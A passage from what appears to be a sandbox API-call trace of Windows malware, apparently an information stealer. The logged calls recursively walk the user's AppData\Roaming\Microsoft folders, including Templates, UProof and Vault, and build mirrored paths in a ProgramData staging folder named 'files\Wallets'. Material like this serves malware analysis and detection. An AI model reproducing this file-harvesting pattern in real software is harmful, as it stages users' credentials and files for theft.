lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\" [0052.363] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\.." [0052.363] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033" [0052.363] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\" [0052.363] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\.." [0052.363] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.363] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.363] FindNextFileW (in: hFindFile=0x58a300, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 0 [0052.363] FindClose (in: hFindFile=0x58a300 | out: hFindFile=0x58a300) returned 1 [0052.363] FindNextFileW (in: hFindFile=0x589f40, lpFindFileData=0x19b920 | out: lpFindFileData=0x19b920) returned 0 [0052.363] FindClose (in: hFindFile=0x589f40 | out: hFindFile=0x589f40) returned 1 [0052.363] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19c264 | out: lpFindFileData=0x19c264) returned 0 [0052.363] FindClose (in: hFindFile=0x58a180 | out: hFindFile=0x58a180) returned 1 [0052.363] FindNextFileW (in: hFindFile=0x589e80, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 0 [0052.363] FindClose (in: hFindFile=0x589e80 | out: hFindFile=0x589e80) returned 1 [0052.364] FindNextFileW (in: hFindFile=0x58a240, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0 [0052.364] FindClose (in: hFindFile=0x58a240 | out: hFindFile=0x58a240) returned 1 [0052.364] FindNextFileW (in: hFindFile=0x58a040, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.364] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates" [0052.364] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\" [0052.364] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Normal.dotm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm" [0052.364] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates" [0052.364] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\" [0052.364] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\", lpString2="Normal.dotm" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\Normal.dotm") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\Normal.dotm" [0052.364] FindNextFileW (in: hFindFile=0x58a040, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.364] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates" [0052.364] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\" [0052.364] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Process Map for Basic Flowchart.xltx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx" [0052.364] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates" [0052.364] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\" [0052.364] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\", lpString2="Process Map for Basic Flowchart.xltx" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx" [0052.364] FindNextFileW (in: hFindFile=0x58a040, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.364] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates" [0052.364] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\" [0052.364] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Process Map for Cross-Functional Flowchart.xltx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx" [0052.364] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates" [0052.364] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\" [0052.365] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\", lpString2="Process Map for Cross-Functional Flowchart.xltx" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx" [0052.365] FindNextFileW (in: hFindFile=0x58a040, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.365] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates" [0052.365] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\" [0052.365] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Stock symbols comparison.xltm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm" [0052.365] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates" [0052.365] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\" [0052.365] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\", lpString2="Stock symbols comparison.xltm" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\Stock symbols comparison.xltm") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\Stock symbols comparison.xltm" [0052.365] FindNextFileW (in: hFindFile=0x58a040, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.365] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates" [0052.365] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\" [0052.365] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Welcome to Excel.xltx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx" [0052.365] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates" [0052.365] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\" [0052.365] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\", lpString2="Welcome to Excel.xltx" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\Welcome to Excel.xltx") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\Welcome to Excel.xltx" [0052.365] FindNextFileW (in: hFindFile=0x58a040, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0 [0052.365] FindClose (in: hFindFile=0x58a040 | out: hFindFile=0x58a040) returned 1 [0052.365] FindNextFileW (in: hFindFile=0x58a580, lpFindFileData=0x19e774 | out: lpFindFileData=0x19e774) returned 1 [0052.365] lstrcpyW (in: lpString1=0x19ee4c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" [0052.365] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\" [0052.365] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="UProof" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof" [0052.365] lstrcpyW (in: lpString1=0x19ec40, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" [0052.365] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\" [0052.365] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\", lpString2="UProof" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\UProof") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\UProof" [0052.366] lstrcmpW (lpString1="UProof", lpString2=".") returned 1 [0052.366] lstrcmpW (lpString1="UProof", lpString2="..") returned 1 [0052.366] lstrcpyW (in: lpString1=0x19e0f0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof" [0052.366] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\*.*" [0052.366] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\*.*", lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0x58a3c0 [0052.402] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof" [0052.402] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\" [0052.402] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\." [0052.402] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\UProof" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\UProof") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\UProof" [0052.402] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\UProof", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\UProof\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\UProof\\" [0052.402] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\UProof\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\UProof\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\UProof\\." [0052.402] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.402] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.402] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof" [0052.402] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\" [0052.402] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\.." [0052.402] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\UProof" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\UProof") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\UProof" [0052.402] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\UProof", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\UProof\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\UProof\\" [0052.402] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\UProof\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\UProof\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\UProof\\.." [0052.402] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.402] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.402] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.402] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof" [0052.402] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\" [0052.402] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\", lpString2="CUSTOM.DIC" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC" [0052.402] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\UProof" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\UProof") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\UProof" [0052.402] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\UProof", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\UProof\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\UProof\\" [0052.402] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\UProof\\", lpString2="CUSTOM.DIC" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\UProof\\CUSTOM.DIC") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\UProof\\CUSTOM.DIC" [0052.402] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0 [0052.402] FindClose (in: hFindFile=0x58a3c0 | out: hFindFile=0x58a3c0) returned 1 [0052.404] FindNextFileW (in: hFindFile=0x58a580, lpFindFileData=0x19e774 | out: lpFindFileData=0x19e774) returned 1 [0052.404] lstrcpyW (in: lpString1=0x19ee4c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" [0052.404] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\" [0052.405] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Vault" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault" [0052.405] lstrcpyW (in: lpString1=0x19ec40, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" [0052.405] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\") 